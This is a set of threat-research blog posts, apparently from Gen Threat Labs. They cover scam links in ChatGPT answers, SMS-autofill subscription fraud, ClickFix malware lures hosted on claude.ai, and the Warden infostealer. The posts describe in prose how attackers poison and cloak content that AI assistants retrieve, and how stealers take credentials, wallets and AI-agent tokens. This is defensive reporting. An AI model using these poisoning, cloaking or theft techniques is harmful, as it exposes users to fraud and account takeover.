Author at Avast Threat Labs

Our team invests countless hours in the exploration, discovery and investigation of emerging trends such as AI and futuristic technology. Stay informed about the evolving landscape of cyberthreats through our diligent efforts and insights.

Threat Research Team

Research

<h2>What you need to know&nbsp;</h2>The risk: AI chatbots can help you find products, download software or locate websites, but the links they recommend aren't always safe. Gen Threat Labs found examples of ChatGPT directing users to fake online stores, phishing websites and malicious downloads. Sometimes, even legitimate websites recommended by AI had been compromised by criminals.&nbsp;The scale: Over 90 days, Gen security products blocked more than 260,000 threat-related events associated with AI chat services, including dangerous links and attacks hosted on AI platforms.&nbsp;Our advice: Don't assume a website is trustworthy just because an AI chatbot recommended it. Double-check website addresses, be cautious when shopping at unfamiliar stores, and keep your security protection enabled.&nbsp;

For years, cybercriminals have manipulated search results to put fraudulent stores, malicious downloads and phishing sites in front of people searching for legitimate services. The practice is generally known as SEO poisoning. As more people use AI assistants to find websites and products, similar risks are beginning to appear in chatbot answers.&nbsp;People are getting used to asking chatbots for recommendations rather than searching for things themselves. And when an assistant gives you a helpful answer with a link to a website, it's easy to trust that recommendation without checking where it leads. Criminals can take advantage of that trust, particularly when they manage to get a fake store or malicious website included in an AI-generated answer.&nbsp;Our investigations uncovered several examples, including ChatGPT recommending a fake EcoFlow store, directing someone looking for legitimate software to a website distributing an infostealer, and linking to a respected journalism organization whose website had been compromised to redirect visitors to scams. Over the 90 days covered by our research, more than 121,000 Gen users were protected from threats associated with AI chat services.&nbsp;We should also consider what happens as AI assistants start doing more things on our behalf. AI agents can increasingly navigate websites, download software and interact with online services, sometimes without requiring the user to approve every step. The attacks we've investigated mainly involve people clicking links recommended by chatbots, but these same malicious websites could also pose a risk to AI agents. As we give AI more freedom to act for us, checking the safety of the websites it interacts with will become increasingly important.&nbsp;<h2>From SEO poisoning to poisoned AI answers&nbsp;</h2>Traditional SEO poisoning attempts to influence where attacker-controlled content appears in search results. Now, a newer discipline called Answer Engine Optimization (AEO) is emerging, focused on making websites and their content more likely to appear in answers and recommendations from AI assistants. As AI agents become more widely used, businesses are also adapting their websites to make it easier for these systems to find, understand and use their content.&nbsp;&nbsp;Cybercriminals can exploit these same mechanisms to get malicious websites or manipulated information into AI-generated answers. This is where AI result poisoning comes in. MITRE ATT&amp;CK added AI Result Poisoning as technique <a href="https://attack.mitre.org/techniques/T1608/007/" target="_blank" rel="noreferrer noopener">T1608.007</a> in 2026, describing how attackers can manipulate publicly available&nbsp; web content to influence what AI systems retrieve or recommend.&nbsp;How do scam links end up in a chatbot's answer? We see four routes. First, the model can learn from poisoned data, so a bad recommendation is baked in before anyone asks. Second, the chatbot searches the web, finds content an attacker planted or a legitimate site the attacker has compromised, and passes it on as a citation or recommendation. Third, the model invents a plausible domain, such as a “.io” address for a well-known app, and a criminal registers it to carry out their scam. Fourth, the AI platform itself is only the host: attackers publish a lure in a shared conversation and send people there. From the outside we often cannot tell the first three apart. For the person who clicks, it makes no difference – all point to fraud.&nbsp;

In an <a href="https://www.gendigital.com/blog/insights/research/claude-content-sharing-malware" target="_blank" rel="noreferrer noopener">earlier investigation</a>, cybercriminals used Google sponsored search results to direct people to a shared Claude conversation that contained malicious macOS installation instructions. Users following the instructions could trigger a chain leading to Atomic macOS Stealer (AMOS). That was a case of abusing a legitimate AI platform to host the lure, not of Claude deciding to recommend it. Our current investigation also documents the second route, where harmful or compromised sites appear directly in AI-generated responses.&nbsp;The 260,000 cases of scams originating from AI recommendations is a big pile, so here are just a few cases we pulled out of it: fake stores, malicious downloads, phishing pages and legitimate websites that had been compromised. They are not a complete list, only a sample that shows how these AI scams look in practice.&nbsp;<h2>A lookalike Upscayl download carried an infostealer&nbsp;</h2>Upscayl is a free, open-source image-upscaling application. Its official domain is upscayl.org, but in one of the cases we analyzed, someone asking ChatGPT for the project website was directed to upscayl[.]io instead. The lookalike site had no connection to the legitimate developer and offered a malicious download.&nbsp;The downloaded archive contained an SQL Server Bootstrap Installer with a trojanized SQLSetupBootstrapper.dll. The attack used DLL hijacking and the legitimate Windows utility msiexec.exe to install information-stealing malware. Infostealers can harvest credentials and other sensitive information from an infected system, making what appears to be an ordinary software installation a potential route to account compromise and financial fraud.&nbsp;

This case did not require a sophisticated conversation with the victim. The user wanted an application, the assistant supplied a plausible domain, and the malicious page was positioned to exploit that visit. The same technique has long worked through poisoned search results; a chatbot answer provides another path to the download.&nbsp;<h2>Fake shops can turn up in AI shopping recommendations&nbsp;</h2>Our investigators also found a ChatGPT recommendation for ecoflowofficial[.]shop, a fraudulent store impersonating EcoFlow, the maker of portable power stations and other energy products. The website copied the company's branding and retail presentation, but its domain was recently registered and it lacked basic business information, including a physical address, privacy policy and terms and conditions.

A second case started with a request for a cheaper military-style leather jacket. ChatGPT surfaced a retailer with four different phone numbers across its site and Facebook, two X accounts, negative reviews, and a checkout that offered only PayPal and required registration. When we repeated a similar prompt, ChatGPT recommended the same shop on the first attempt.&nbsp;<h2>A legitimate source can deliver a malicious redirect&nbsp;</h2>Some of the most instructive cases did not involve counterfeit domains. A user asked ChatGPT about press freedom in Peru and received a citation from the Asociación Nacional de Periodistas (ANP), the country's national press association. The source was appropriate for the subject, but attackers had compromised the website and installed code that profiled visitors before deciding whether to serve the original page or redirect them elsewhere.&nbsp;Our telemetry recorded a user following the ANP citation from ChatGPT and being routed through a traffic distribution system (TDS) to a page associated with a scam kit commonly seen in malvertising operations. The TDS infrastructure was used to route visitors toward different forms of abuse, including phishing, fake shops and credential-theft sites, according to the investigation.&nbsp;

As this case shows, even a legitimate and trusted website can expose visitors to malicious content if it has been compromised. ChatGPT retrieved the original article on the APN website and found nothing unusual, but when the user followed the link, attackers redirected him to a scam. The criminals were using cloaking techniques to show different content depending on who was visiting the website, meaning that even an automated security check performed by the AI platform could have missed the threat if it received the legitimate content.&nbsp;This is why we need an additional layer of protection that checks what actually happens when someone visits a website, rather than relying only on what the AI assistant saw earlier. And as AI agents start browsing websites and performing tasks on our behalf, that independent protection becomes even more important.&nbsp;<h2>Compromised retailers and EtherHiding-based ClickFix attacks&nbsp;</h2>We saw a similar problem at a legitimate Australian medical-supplies shop. ChatGPT cited it as a shopping source, but its page carried an injected script that loads further malicious code through blockchain infrastructure (an EtherHiding-style technique). Related compromised sites, from bus tickets to real estate and forums, sent visitors into ClickFix pages that tell them to paste a command into PowerShell.&nbsp;Cybercriminals have used compromised websites, malicious redirects, cloaking and social engineering for years. Now we're seeing these same techniques affect people who follow links recommended by AI chatbots, even when they're simply looking for information, products or services. &nbsp;<h2>Investment scams and phishing pages in chatbot links&nbsp;</h2>On September 13, 2026, our telemetry recorded a ChatGPT referral to BitGPT Pro, supposedly an AI-powered trading platform with no verifiable product or company details. Its main job was to collect names, phone numbers and email addresses, and it used browser fingerprinting and more than 30 language versions. We also saw chatbot links to phishing pages impersonating Netflix and Microsoft; the fake Microsoft login sent credentials straight to the attackers.&nbsp;

<h2>Why an AI crawler and a visitor may see different pages&nbsp;</h2>Cybercriminals have been using cloaking for years to evade detection by search engines and security tools. Their websites can check a visitor's IP address, location, browser or operating system and decide what content to display. An automated crawler might see a perfectly legitimate page, while a regular user visiting the same URL gets redirected to a scam or a website distributing malware.&nbsp;The same techniques can work against AI assistants. When ChatGPT retrieves information from a website, it may see legitimate content and include a link in its answer. But when someone clicks that link, the website can recognize the visitor and redirect them to a malicious destination. Attackers can also compromise a legitimate website after the AI assistant has accessed it.&nbsp;AI platforms have their own security measures, but attackers are constantly looking for ways around them, just as they have done with search engines for years. Our investigations show why users shouldn't automatically trust a website simply because an AI chatbot recommended it.&nbsp;<h2>How people can reduce their risk&nbsp;</h2>When an assistant recommends a software download, check the developer's official domain before installing it. A familiar project name in the address bar is not enough, particularly when a lookalike site is distributing a modified installer. For unfamiliar stores, verify the business independently, including its contact details, policies, reputation and relationship to any brand it claims to represent.&nbsp;Be cautious with investment sites offering unusually attractive opportunities but little verifiable company information. Treat unexpected login screens, CAPTCHA-like instructions to run commands and AI-shared installation guides with similar skepticism. Keep browser and security protections enabled, including when the link originated from a trusted assistant rather than an email, message or search result.&nbsp;<h2>Helping people live Fearless in the AI era&nbsp;</h2>Gen is already protecting people against many of the threats we've described in this investigation. Our web protection helps block malicious websites, phishing and scams, including those reached through AI chatbot recommendations. This is particularly important when dealing with compromised websites or malicious redirects, where the content a user encounters may be different from what the AI assistant saw earlier. We also use AI to help people identify scams, with solutions such as Norton Genie Scam Detector.&nbsp;As AI assistants become more capable and start performing tasks on our behalf, we need to extend that protection beyond traditional browsing. This is one of the reasons we developed the <a href="https://ai.gendigital.com/" target="_blank" rel="noreferrer noopener">Gen Agent Trust Hub</a> (ATH), which helps assess the safety of AI agents and the tools they use, monitor their activity and intervene when they attempt potentially dangerous actions.&nbsp;Our goal is to help people benefit from AI without exposing themselves to unnecessary risks, whether they're browsing the web themselves or relying on an AI agent to do things for them. Cybercriminals will keep finding new ways to abuse these technologies, and our job is to anticipate those threats and protect people from them.&nbsp;That's how we help people live Fearless.&nbsp;

On average, every 30 seconds, we block a threat linked to an AI chatbot. Daily protection from dangerous AI links is up by more than 50% in three months.

Poisoned AI Answers: How Scams Are Reaching Users Through Chatbots 

Senior Threat Researcher

We have found mobile subscription services sending payment authorization messages in a format that lets phones and browsers offer the code for autofill. The message explains the charge, including how often it repeats, but someone can accept the suggested code without opening it. In the iPhone example we tested, the suggestion displayed an amount while leaving out the fact that it would be charged every week.&nbsp;We use the name BillBait for misleading subscription journeys that use SMS autofill to let people enter a payment authorization code without opening the message containing the subscription terms.&nbsp;At Gen Threat Labs, we have been examining subscription journeys in Poland, Switzerland, Denmark and Canada. Our investigation looks at the use of these autofill-formatted messages in services charged through a mobile operator, and how that changes the information people encounter when making a purchase.&nbsp;Most of us are used to receiving codes by SMS. We enter them to sign into accounts, confirm transactions and prove that a phone number belongs to us. Having the phone retrieve the code saves us from switching between the message and the website, so accepting the suggestion can become as routine as entering the code ourselves.&nbsp;For a subscription charged through a mobile operator, however, the message also explains the financial commitment associated with that code. Someone expecting a routine phone number verification may be authorizing a recurring payment.&nbsp;&nbsp;Paying through a mobile account has been around for years. Premium SMS services have been used to buy content and pay for services. Although the billing arrangements differ, some subscription journeys involve entering a phone number on a website and <a href="https://archiwum.uke.gov.pl/aktualnosci/biezace-informacje/komunikaty/wakacje-co-musimy-wiedziec-o-czym-pamietac%2C6049.html" target="_blank" rel="noreferrer noopener">confirming it with a code received by SMS</a>.&nbsp;The messages we examined use a format that associates the code with a website. Alongside the text intended for the customer, they include a machine-readable line containing the domain and the code. In the captured Polish message, that pair is:&nbsp;<code>@[REDACTED].com #2976&nbsp;</code>With the appropriate website and browser support, this allows the code to be offered for autofill. The domain helps the software determine where the code belongs, while the person can enter it without opening the message and rewriting it across.&nbsp;Google’s <a href="https://web.dev/articles/sms-otp-form" target="_blank" rel="noreferrer noopener">guidance on SMS codes</a> describes banks and card issuers using them as an additional security check during a payment. In the subscription journeys we examined, the code itself is the only authorization and verification to start recurring charges on the user’s mobile account. Someone who believes they are verifying their phone number may therefore be completing a step that authorizes a paid subscription. The SMS explains what the code authorizes, including the price and billing frequency, but autofill allows the person to enter it without opening that message. A code intended to confirm a financial commitment can then be handled as casually as a routine login code.&nbsp;

The code is intended for the website the person is visiting, so the domain check works as designed. Someone who thinks they are verifying their phone number can then use autofill to enter it without opening the SMS explaining that the code authorizes a recurring subscription.&nbsp;

In this case the weekly charge remains visible higher up on the payment page. That page also includes a checkbox for accepting the terms and a button labelled "I order and pay". The pin code is inserted once you click the “From Mmessages 2976” button. What it does demonstrate is how the code can be entered without opening the SMS containing the payment explanation. A person concentrating on the suggested code sees an amount, while the weekly billing frequency has to be understood from information elsewhere in the journey. The text of the message is regulated and it has to contain all the information about payment, service name and unsubscribe information. On the other hand, the text on the webpage is commonly hiding this information behind the keyboard and using different font sizes to hide the payment details. The SMS message is the only part where the information can’t hide.&nbsp;Chrome presents the message differently in the Android example. Its prompt asks whether the browser can read the SMS and enter the code, and displays message text stating that authorizing service costs 14.99 zł every week. The recurring charge is therefore available to read within the permission prompt itself. Unfortunately the wording and UI is pushing you not to read the message.&nbsp;Affected users have also reported deceptive QR codes associated with parking payments and EV charging. In those settings, someone already expects to provide information and confirm a transaction, which can make a request for a phone number and an SMS code easier to accept as part of the task they came to complete.&nbsp;The advertising that precedes a subscription request can also shape how someone interprets the code. One Polish advert we captured shows film posters above prominent instructions to "Verify your phone" and "Confirm your phone number to get full access". A charge of 14.99 zł every week appears in a much smaller line beneath the streaming banner. Someone following the most prominent instructions could reasonably approach the next step as a phone verification.&nbsp;

Other adverts we captured use large buttons labelled “Continue” or “Next”, with little explanation of the service being advertised. Someone trying to complete a task could mistake that button for part of the page they are using and click it simply to carry on, without expecting to be taken to a subscription offer.&nbsp;

That advert is a separate captured example from the previous one. Together, they illustrate two parts of the problem we are examining: how a request is presented to the customer, and how a payment authorization code is offered by the phone.&nbsp;For anyone encountering these requests, opening the complete SMS before submitting the code is a useful precaution. Check that the service name matches what you intended to buy and that the amount is charged at the frequency you expect. If the message describes a subscription you were not looking for, stop there, even if the website has presented the code as a routine check.&nbsp;If you discover an unfamiliar charge on your mobile bill, contact your operator through its official app, website or customer service number. Ask who is collecting the payment, how to cancel it and how to dispute the charge. Keep the messages and screenshots, and verify the cancellation instructions before following them. Some services use a STOP message, but blocking the sender or marking it as SPAM does not help, the charges will continue.&nbsp;People who do not use premium services can also ask their operator about blocking them, checking separately what controls apply to third-party billing. The available options depend on the operator and country.&nbsp;On the iPhone we tested, Apple’s autofill suggestion showed 14.99 zł without saying that the charge would repeat every week. Chrome displayed the full SMS, weekly charge included, but inside a browser prompt that carried Google's authority and was designed to be approved rather than read. Someone who clicked a misleading ad and was asked to verify their phone number could easily treat either prompt as just another verification step, without realizing that the code is actually authorizing a paid subscription to a completely different service.&nbsp;Both companies should work with carriers and payment providers to investigate ways of identifying these messages and giving them a clear payment confirmation. Someone agreeing to pay 14.99 zł every week should see the service name and those recurring charges alongside the action they are being asked to confirm. Expecting people to spot the difference while encouraging them to enter codes with less effort leaves too much room for misleading subscription services.&nbsp;

How SMS autofill can make recurring charges easier to overlook on a mobile phone bill 

BillBait: When SMS autofill comes with a subscription 

Threat Analysis Engineer

We found a fake “Download Claude” page, and one thing about it was unusual: the web address was real. The page was hosted on claude.ai, which is Anthropic’s own domain. It had Claude’s branding and what looked like simple instructions to install the desktop application. The attackers even paid for Google ads to send people there.Anthropic, of course, never published such instructions. The attackers used Claude’s features for sharing conversations and Artifacts, and through them they placed malicious content on the real website. The page did not offer any installer. Instead, it told visitors to copy a command and paste it into the Terminal on their Mac. Everybody who followed these steps installed Atomic macOS Stealer (AMOS) — a malware that is made to steal passwords, browser sessions, cryptocurrency wallets and other sensitive data.Our analysis found one more unpleasant thing. The malware can also replace the legitimate Ledger and Trezor desktop applications with modified versions. Later these fake versions ask the user to type the wallet recovery phrase, and this gives the attackers everything they need to take the victim’s cryptocurrency.And this wasn't limited to macOS. We identified another campaign using Claude's sharing features and Google Ads to target Windows users. The installation instructions were different, as was the malware being delivered, but the approach was essentially the same.Neither campaign required compromising Anthropic's infrastructure or registering a convincing imitation of its domain. The attackers simply took advantage of features available to ordinary Claude users, turning legitimate content-sharing functionality into a way to distribute malware.<h2>When the scam lives on the real domain</h2>Most phishing and scam campaigns depend on small details that the visitor is supposed to not notice — a domain name with a typo, a strange top-level domain, a missing padlock.This campaign removes all of that. The fake “Download Claude” page is real user-generated content hosted on claude.ai, and it is served in two ways: as a Shared Chat (claude[.]ai/share/…) and as a public Artifact (claude[.]ai/artifact/…). Both of them are normal Claude features for sharing content.&nbsp;MALICIOUS — the fake “Download Claude” page hosted as a claude.ai Artifact

LEGITIMATE — the real download page at claude.com/download

The platform marks the content correctly as unverified, but the domain still looks very trustworthy. On the Artifact page the only warning is a thin banner with the text “Content is user-generated and unverified.” Everything else — the domain, the padlock, the branding — looks genuine, and the attackers count exactly on this.<h2>Scam at the very top</h2>You do not find these pages by accident. The links we analyzed contained Google Ads tracking parameters (gclid, gad_campaignid). This means the attackers paid for advertising to push their malicious pages to the top of the search results — a technique that is called malvertising. In the same cluster we found several different Artifacts connected to two different ad campaigns, so this was a funded and rotating operation, not a single case.The same payload was delivered also through a Shared Chat — a fake “Claude Code on Mac” conversation. Claude puts even a disclaimer on it (“Content may include unverified or unsafe content that does not represent the views of Anthropic”), but the lure is placed right under it.

The lesson for users is unpleasant but simple: the first search result, and especially a sponsored one, is not a sign of safety. Attackers can buy their way to the top, and they do it.<h2>The command you paste yourself</h2>Here the attack becomes clever. The fake page does not really give you an application to download. Instead it shows a nice box called “Install on macOS — Quick install via Terminal” and takes you through four friendly steps: open Terminal, click a Copy button, paste, and press Enter.

This family of tricks is called ClickFix, and even though it has been here for a while, it remains popular with attackers as it avoids many defenses in a simple way:<ul type="disc"><li class="ck-list-marker-bold" data-list-item-id="e0cbd31935e1c7595a3d9fe6431f95953">Nothing suspicious is really “downloaded.” You copy some text and you run it yourself.</li><li class="ck-list-marker-bold" data-list-item-id="ed003f05ab4feaaf79055c64434639024">You are the one who runs it. The command starts a chain of scripts that are downloaded from the attacker’s server, but for the operating system it looks like you typed it.</li><li class="ck-list-marker-bold" data-list-item-id="e659ccd39d70f4d47697b4f8d3d876653">The command is scrambled on purpose. What you get on your clipboard is an obfuscated one-liner that hides the attacker’s address inside an encoded blob. So even a curious user sees only gibberish and not a suspicious URL.</li></ul>The most useful habit you can build is one: never paste into your Terminal a command that you did not write yourself. No legitimate application — not Claude and not anything else — needs you to run a cryptic one-liner to be installed.<h2>The theft begins</h2>The moment you paste the command into your Terminal and press Enter, a chain of several stages runs completely in the background:<ul type="disc"><li class="ck-list-marker-bold" data-list-item-id="e5e30139718460616724f21dd812ee6cb">A loader script is downloaded from the attacker’s server and it unpacks a second script.</li><li class="ck-list-marker-bold" data-list-item-id="eb8f50c6940661ee2f7a9486df6524399">This second script downloads the main payload — an AppleScript-based infostealer from the Atomic macOS Stealer (AMOS) family — and runs it.</li><li class="ck-list-marker-bold" data-list-item-id="e5b03026e0fc3672a45add2968e58e08b">The stealer starts its work.</li></ul>

Before the stealer can take anything, it needs Full Disk Access. If it does not have this access, it does not start to steal. Instead it shows a fake macOS “Full Disk Access required” message and quietly adds a line to the shell startup file, so the malware starts again the next time you open the Terminal. In this way it simply waits until it gets the access it needs. Once it has the access, the stealer shows a familiar dialog: a fake macOS “System Preferences” password prompt. It looks native and it does not go away until you type a password that really works. After you type it, the malware has your login password in cleartext, and it keeps it.After this it harvests, fast and quietly: Passwords and session cookies from Chromium and Gecko based browsers along with Keychain keys it needs to decrypt saved logins, crypto wallets both browser-extension and desktop applications and also files that usually hold secrets, private or otherwise interesting data such as with .pdf, .docx, .key, .seed or .pem, .wallet, or .ovpn extensions.All the collected data is packed into a ZIP file and uploaded to the attacker’s server. After the upload the stealer deletes its temporary files, so it leaves less trace behind.<h2>Fake wallet apps</h2>When the stealer sees that Ledger Live, Ledger Wallet, or Trezor Suite is installed, it downloads a trojanized copy of this application from the attacker and puts it over the real one. The modified application looks and works like a normal one.The trap activates later. The next time when you open your wallet, a convincing screen asks you to “restore” or “validate” your recovery phrase (for Trezor it even shows a fake progress animation: “Reading device info… Validating seed phrase… Almost there”). The words that you type go directly to a second attacker server — a different domain than the one which delivered the malware, and it is built only to collect seed phrases.Those words are your money. Anybody who has them can empty every wallet that is derived from them, immediately and without any way back.&nbsp;<h2>The same trick comes to Windows</h2>We also identified a separate campaign targeting Windows users. But the method does not really care about the operating system, and we found a second campaign on claude.ai that works in exactly the same way — only the victim and the final malware are different.The lure is again a page that lives on the real domain. This time it is an Artifact with the title “Install Claude on Windows”, and it is pushed in the same way: the link carries Google Ads parameters (gclid, gad_campaignid), so the attackers again paid to place it high in the search results. The page shows the Claude logo, a friendly “Three quick steps and you’re done”, and the same thin “Content is user-generated and unverified” banner on the top that almost nobody reads.

What changes is the ClickFix itself. On the Mac the victim is sent to the Terminal. On Windows the page asks you to press Win + R (this opens the Run dialog), then Ctrl + V to paste, and Enter to run. No Terminal, no file to download — only three keys, and the attack starts.What you paste is a PowerShell command, and it is malicious from the first character — there is no installer in it at all. To look harmless while it runs, it first prints a big “SYSTEM” banner and calm messages like “Challenge in progress, this won’t take long… 50% done… 70% done… Challenge completed.” For the victim it looks like a normal verification step.&nbsp;That script reaches out to GitHub. The attackers put their next stage on a github.io page, so once more a trusted name carries the malware. The file downloaded looks like an ordinary script, but inside it carries the&nbsp; .NET payload, packed and encrypted.&nbsp;<h2>The final payload</h2>The final payload is a heavily obfuscated .NET executable.&nbsp;The behavior however, is clear enough. The malware hides itself by injecting its code into a normal Windows process, so in the task list nothing looks wrong. It checks which antivirus is present, it takes screenshots of the desktop, and it reads the title of the window where the user is working. It also opens a connection to a server of the attacker and keeps it — which means the operator can send more commands later. This is the behavior of a remote-access tool, not of a simple program that steals once and goes away.And it goes after cryptocurrency. The malware searches the infected computer for crypto wallets — desktop applications like Electrum, Exodus, Ethereum, Bitcoin and Ledger, and also wallet extensions inside the browser.Two campaigns, two operating systems, two different pieces of malware — but one and the same front door: a page on claude.ai that looks official, pushed by paid ads, asking the user to run a single command they did not write.<h2>Why this goes beyond Claude</h2>Attackers have been abusing legitimate websites to distribute malware for years. What makes this case interesting is how easily Claude's sharing features could be used to create something that looked like an official software download page, without compromising Anthropic's infrastructure.Claude is unlikely to be the last AI service targeted this way. As more platforms allow users to publish and share content, attackers have more opportunities to exploit the reputation of those services. The challenge for platform operators is finding ways to prevent that abuse without making legitimate sharing unnecessarily difficult.For users, the distinction is worth remembering. A genuine website address tells you where content is hosted, but it doesn't necessarily tell you who created it or whether you should trust it.<h2>How to protect yourself</h2><ul type="disc"><li data-list-item-id="edfc88eb7579f843c82adc66243e061d1">Never paste into Terminal (or PowerShell) a command that you did not write yourself. This one habit defeats the whole ClickFix family.&nbsp;</li><li data-list-item-id="ec967e55d9b60bb6691b024d2a95e2d15">Download software from the main site of the vendor — and type the address yourself or use a bookmark. The real download page of Claude is claude.com/download. Do not trust the search results, and be extra careful with sponsored ads.</li><li data-list-item-id="e55f655cf2bb6e06bc90158a0d59c4af7">Treat the “user-generated / unverified” labels as a stop sign. If a “download” or “install” page lives on a sharing or artifact URL and not on the own product site of the company, leave it.</li><li data-list-item-id="e6e92b09b36cd54ff7d342e668284ddba">Never type your wallet recovery phrase into software that asks for it unexpectedly. The seed entry happens on the hardware device. A “restore/validate your phrase” prompt inside the app is theft.</li><li data-list-item-id="edccf837b687961a074f5261a4b687f87">Keep a reputable security software turned on. It blocks the known command-and-control servers and detects this behaviour.</li><li data-list-item-id="e4e8607ff0369cb902840b9d76a86cd36">If you think that you already ran something like this, expect a full compromise. From a different, clean device, change every important password (email, banking and crypto exchanges first), log out from all sessions, and turn on multi-factor authentication. For crypto, move the funds to a wallet that is created from a completely new recovery phrase, and reinstall the wallet applications only from the official vendor.</li></ul>

Two malware campaigns exploit Claude's content-sharing features and Google Ads to trick users into running malicious commands. 

How Criminals Abuse Claude’s Own Website to Spread Malware 

Threat Researcher at Gen

Threat Research Team Lead

<h2>Key Points</h2>
<ul>
<li>
Gen Threat Labs has been tracking Warden Stealer, an emerging and actively developed malware-as-a-service (MaaS) infostealer written in the Rust programming language that has, within just a few months, already become one of the most prevalent infostealers in our user base.
</li>
<li>
Unlike most of its competitors, Warden Stealer is not sold as a pure stealer but comes with its own loader and a built-in cryptocurrency clipper.
</li>
<li>
Warden Stealer is one of the first infostealers targeting configuration files and local data belonging to AI assistants and agentic coding tools.
</li>
<li>
Its builds are heavily obfuscated, morphed, and regularly updated to evade detection.
</li>
<li>
In this technical blog post, we focus on the attribution of the stealer and provide a technical breakdown of its capabilities, including an analysis of its Application-Bound Encryption (ABE) bypass.
</li>
</ul>
<h2>Introduction &amp; Attribution</h2>
Warden Stealer is a rapidly growing and actively developed infostealer-as-a-service, promoted on underground forums since August 2026. The stealer is written in the Rust programming language and targets Windows systems from Windows 8 through Windows 11 (Figure 1 below also lists Windows 7 as supported, but support for it was dropped as of Warden Stealer version 1.9).
According to its advertisement, Warden Stealer is supposedly capable of stealing data from all Chromium- and Gecko-based browsers, more than 200 cryptocurrency wallet extensions, and over 360 other targets across 13 categories, including messengers, password managers, 2FA tools, and VPN clients, with the ability to further expand its collection scope through custom file and registry grabbing rules. That said, the actual scope of collected data always depends on the configuration of the specific build, which, based on our analysis, can vary significantly from one operator to another.

What is particularly worth highlighting, however, is that Warden Stealer is one of the first infostealers we have observed stealing configuration files and local data belonging to AI assistants and agentic coding tools, such as Claude, Codex, Grok, and Cursor. This reflects an emerging trend we have been observing across the infostealer landscape recently, and one that comes as no surprise, given how much sensitive information these files may hold. Depending on the agent and its configuration, they may contain access and refresh tokens, credentials stored in MCP configurations, prompt histories, conversation databases, and traces of the projects a developer has been working on, giving an attacker both the means to access an account and the context needed to understand what valuable data is behind it.
Interestingly, stealing AI agent data was not among the capabilities originally listed in Warden Stealer’s advertisement, nor was it part of every build’s dynamic configuration, which led us to believe that it was the result of custom collection rules defined by specific operators. This, however, changed with Warden Stealer version 1.9 (announced on September 29, 2026), in which the malware authors officially announced the collection of tokens from AI coding agents (see Figure 2). Either way, whether through custom rules or built-in support, AI agent data is now targeted in a substantial subset of Warden Stealer builds, highlighting the growing trend of such data quickly becoming a target of interest for infostealers.

We have already covered this topic in our previous blog post, <a href="https://www.gendigital.com/blog/insights/research/infostealers-your-ai-agent">Infostealers Have Found a New Target: Your AI Agent</a>. There, however, we referred to Warden Stealer as CallbackBeaver, since at that time we had not yet been able to attribute it to Warden Stealer and had therefore given it our own name.
Attribution is always a tricky task, and this case was no exception, as the stealer does not contain any string artifacts that would directly link it to the Warden Stealer brand. What pointed us in the right direction, however, was our in-depth analysis of the stealer, which we cross-referenced with the technical details of the malware shared on underground forums by the authors themselves, as well as with information from a recent <a href="https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-warden-a978d5ae1147">interview with Warden Stealer’s authors</a> conducted by <a href="https://x.com/g0njxa">g0njxa</a>. Putting all of the pieces together, we were ultimately able to conclude that CallbackBeaver is, in fact, Warden Stealer. To give readers a better idea of what our attribution is based on, we outline the key pieces of evidence below.
First, the stealer is written in Rust, which is rather unusual, as only a handful of infostealers opt for this programming language. This is consistent with the interview, in which the malware authors attribute the choice of Rust to their prior experience with it, as well as to the “very good opportunities for code morphing” it provides. Morphing, in turn, is exactly where, we have to admit, Warden Stealer undoubtedly stands out from what is usual in the MaaS ecosystem. Unsurprisingly, it is also one of the main selling points the authors build their marketing around, advertising Warden Stealer as the “only true morpher on the market (not just an obfuscator), built upon AST code parsing and LLVM IR passes.”
Based on our analysis, the individual builds are indeed heavily obfuscated and morphed. Combined with the fact that Rust binaries are notoriously hard to reverse engineer, this makes Warden Stealer genuinely tricky to detect statically, but of course not impossible, as Warden authors kindly started to note in their underground forum posts (see Figures 3 and 4).

Second, the malware authors state in the interview that development of the stealer began in early 2026 and that the project was made available to the public on July 21, 2026. This aligns well with our own observations, as we have been tracking the first builds (for example, <a href="https://www.virustotal.com/gui/file/241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437">241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437</a>) since the beginning of May 2026, with a significant increase in prevalence starting in early August 2026. Although the authors may not necessarily be telling the truth, the timeline once again fits their claims.
Closely related to the timeline is the spread of the stealer itself, as Warden Stealer has, in a matter of months, already become one of the most prevalent infostealers in our user base, which, again, is consistent with the authors’ claim that about 110 customers are currently actively using it.
Besides its stealing capabilities, Warden Stealer comes with its own loader and a built-in cryptocurrency clipper, which is not that common for MaaS infostealers and might be one of the key factors behind its rapid growth in popularity. Therefore, the very fact that the samples we analyzed were generally distributed via the stealer’s own dedicated loader and came with built-in clipper functionality was another strong indicator.
As for the clipper functionality, Warden Stealer originally supported six cryptocurrency networks (see Figure 5), namely BTC (Bitcoin), ETH (Ethereum), TRX (TRON), XMR (Monero), SOL (Solana), and TON (The Open Network), which exactly matches (notably, even in the same order) the dynamic configuration we extracted from an older Warden Stealer build (see Figure 6). Starting with version 1.7, the malware authors extended the clipper to support four more networks: LTC (Litecoin), XRP (XRP Ledger), ADA (Cardano), and BCH (Bitcoin Cash). We observed this change almost immediately in the dynamic configurations of newer builds as well, which now contain exactly these four networks appended right after the original six (see Figure 7), making the clipper yet another strong indicator supporting our attribution.

While there are several other attribution factors, mainly related to the capabilities claimed by the authors and what the stealer actually does, as well as to the obfuscation techniques it employs, we will not cover them in detail, as we believe the evidence outlined above already speaks for itself.
Warden Stealer is offered through a tiered subscription model, with the individual plans differing primarily in operational limits, such as the number of builds and C2 domains. Initially, the malware authors offered the Test plan for $90 per week, and the Personal and Premium plans for $349 and $499 per month, respectively. With version 1.9, however, they raised their prices considerably: the Test plan now costs $149 for three days, while the Personal plan has risen to $450 and the Premium plan to $800 per month. At the same time, they introduced a new Enterprise plan, priced at $1,500 per month.
Finally, given that Warden Stealer deliberately avoids systems located in CIS and Baltic countries and is advertised in Russian, it is reasonable to assume that its developers likely operate within Russian-speaking cybercriminal communities. However, this does not necessarily indicate their precise origin.

<h2>Landscape</h2>
Despite having been on the market for only a short period of time, Warden Stealer has already positioned itself as a major player in the infostealer landscape and is currently one of the most prevalent infostealers in our user base (together with <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">Vidar</a>, <a href="https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns">Amatera</a>, and <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">Remus</a>).
